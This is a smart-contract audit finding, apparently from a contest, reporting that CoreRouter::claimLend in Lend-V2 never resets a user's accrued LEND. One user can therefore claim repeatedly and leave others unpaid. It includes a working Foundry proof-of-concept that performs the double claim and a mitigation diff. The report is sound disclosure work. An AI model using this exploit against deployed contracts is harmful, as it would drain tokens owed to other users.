Ambitious Shamrock Moth

High

# User will be able to claim LEND multiple times causing other users to be unable to claim their LEND

### Summary

Lack of state updates in `CoreRouter::claimLend` (to mark accrued LEND as claimed) will cause permanent loss of LEND tokens for lenders and borrowers as users will be able claim their LEND multiple times.

### Root Cause

In `CoreRouter::claimLend` on line [402](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L402), the contract transfers LEND tokens to the user. The problem is that the accrued LEND for the user is not set back to zero, and therefore they can call `claimLend` again and receive the LEND multiple times.

### Internal Pre-conditions

1. A minimum of two users have supplied collateral to the `CoreRouter`.
2. Non-zero amount of time/blocks has passed since the collateral was supplied so that interest has been earned.

### External Pre-conditions

None required

### Attack Path

1. Attacker calls `CoreRouter::claimLend` at a time when they have accrued a non-zero amount of LEND from the protocol (but not yet claimed).
2. Attacker calls `CoreRouter::claimLend` again (and can repeat this many times, until all LEND is drained from the `CoreRouter`.

### Impact

The attacker profits by withdrawing all LEND available to protocol users for claiming. Therefore the other users permanently lose their share of LEND tokens.

### PoC

Add a new test file under test/mocks folder with the below contests and run using `forge test --match-test test_claim_lend_2x --match-contract HGranoTest -vvv`.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Test, console2} from "forge-std/Test.sol";
import {Deploy} from "../../script/Deploy.s.sol";
import {HelperConfig} from "../../script/HelperConfig.s.sol";
import {CoreRouter} from "../../src/LayerZero/CoreRouter.sol";
import {LendStorage} from "../../src/LayerZero/LendStorage.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {Lendtroller} from "../../src/Lendtroller.sol";
import {InterestRateModel} from "../../src/InterestRateModel.sol";
import {SimplePriceOracle} from "../../src/SimplePriceOracle.sol";
import {LTokenInterface} from "../../src/LTokenInterfaces.sol";
import {LToken} from "../../src/LToken.sol";
import "@layerzerolabs/lz-evm-oapp-v2/test/TestHelper.sol";
import "@layerzerolabs/lz-evm-protocol-v2/test/utils/LayerZeroTest.sol";

contract HGranoTest is LayerZeroTest {
    CoreRouter public coreRouter;
    LendStorage public lendStorage;
    Lendtroller public lendtroller;
    SimplePriceOracle public priceOracle;
    address[] public lTokens;
    address[] public supportedTokens;
    address public deployer;
    address public user1;
    address public user2;

    function setUp() public override {
        super.setUp();

        deployer = makeAddr("deployer");
        user1 = makeAddr("user1");
        user2 = makeAddr("user2");
        vm.deal(deployer, 1000 ether);
        vm.deal(user1, 1000 ether);
        vm.deal(user2, 1000 ether);

        // Deploy protocol
        Deploy deploy = new Deploy();
        (
            address priceOracleAddress,
            address lendtrollerAddress,
            ,
            address[] memory lTokenAddresses,
            ,
            address payable coreRouterAddress,
            address lendStorageAddress,
            ,
            address[] memory _supportedTokens
        ) = deploy.run(address(endpoint));

        // Store contract references
        coreRouter = CoreRouter(coreRouterAddress);
        lendStorage = LendStorage(lendStorageAddress);
        lendtroller = Lendtroller(lendtrollerAddress);
        priceOracle = SimplePriceOracle(priceOracleAddress);
        lTokens = lTokenAddresses;
        supportedTokens = _supportedTokens;

        // Set up initial prices
        for (uint256 i = 0; i < supportedTokens.length; i++) {
            priceOracle.setDirectPrice(supportedTokens[i], 1e18);
        }
    }

    function _supply(uint256 amount, address user) internal returns (address token, address lToken) {
        token = supportedTokens[0];
        lToken = lendStorage.underlyingTolToken(token);

        vm.startPrank(user);
        ERC20Mock(token).mint(user, amount);
        IERC20(token).approve(address(coreRouter), amount);
        coreRouter.supply(amount, token);
        vm.stopPrank();
    }

    function _borrow(address user, address token, uint256 amount) internal {
        vm.startPrank(user);
        ERC20Mock(token).mint(user, amount * 2); // Extra collateral
        IERC20(token).approve(address(coreRouter), amount * 2);
        coreRouter.supply(amount * 2, token); // Supply collateral first
        coreRouter.borrow(amount, token);
        vm.stopPrank();
    }

    function test_claim_lend_2x() public {
        // Supply tokens to start accruing LEND
        uint256 supplyAmount = 1000e18;
        (, address lToken) = _supply(supplyAmount, user1);
        _supply(supplyAmount, user2);

        address lend = lendtroller.getLendAddress();

        // Get initial LEND accrued
        uint256 initialLendAccrued = lendStorage.lendAccrued(user1);
        uint256 initialLendBalance = IERC20(lend).balanceOf(user1);
        emit log_named_uint("initialLendBalance", initialLendBalance);

        // Advance time and blocks
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 1000);

        // Trigger LEND distribution
        vm.prank(user1);
        address[] memory holders = new address[](1);
        holders[0] = user1;
        LToken[] memory lTokenArray = new LToken[](1);
        lTokenArray[0] = LToken(lToken);
        coreRouter.claimLend(holders, lTokenArray, false, true);

        // Get final LEND accrued
        uint256 finalLendAccrued = lendStorage.lendAccrued(user1);

        // Verify LEND accrued increased
        assertGt(finalLendAccrued, initialLendAccrued, "LEND should accrue over time");
        emit log_named_uint("LEND balance after first call to `claimLend`", IERC20(lend).balanceOf(user1));

        vm.prank(user1);
        coreRouter.claimLend(holders, lTokenArray, false, true);
        emit log_named_uint("LEND balance after second call to `claimLend`", IERC20(lend).balanceOf(user1));

        // Assert the issue is present (user1 claims twice their share)
        assertEq(IERC20(lend).balanceOf(user1), finalLendAccrued * 2);

        // Now the other user cannot claim
        holders[0] = user2;
        vm.prank(user2);
        coreRouter.claimLend(holders, lTokenArray, false, true);

        // Asser the issue is present (user2 doesn't get any LEND)
        assertEq(IERC20(lend).balanceOf(user2), 0);
    }
}

```

### Mitigation

Apply the following changes to reset the lend accrued to zero upon successful LEND transfer to the user:

```diff
--- a/Lend-V2/src/LayerZero/CoreRouter.sol
+++ b/Lend-V2/src/LayerZero/CoreRouter.sol
@@ -399,7 +399,8 @@ contract CoreRouter is Ownable, ExponentialNoError {
         for (uint256 j = 0; j < holders.length;) {
             uint256 accrued = lendStorage.lendAccrued(holders[j]);
             if (accrued > 0) {
-                grantLendInternal(holders[j], accrued);
+                uint256 remainingAmount = grantLendInternal(holders[j], accrued);
+                lendStorage.updateLendAccrued(holders[j], remainingAmount);
             }
             unchecked {
                 ++j;
diff --git a/Lend-V2/src/LayerZero/LendStorage.sol b/Lend-V2/src/LayerZero/LendStorage.sol
index 551e39d..9c464fb 100644
--- a/Lend-V2/src/LayerZero/LendStorage.sol
+++ b/Lend-V2/src/LayerZero/LendStorage.sol
@@ -247,6 +247,10 @@ contract LendStorage is Ownable, ExponentialNoError {
         borrow.borrowIndex = _borrowIndex;
     }
 
+    function updateLendAccrued(address user, uint256 amount) external onlyAuthorized {
+        lendAccrued[user] = amount;
+    }
+
```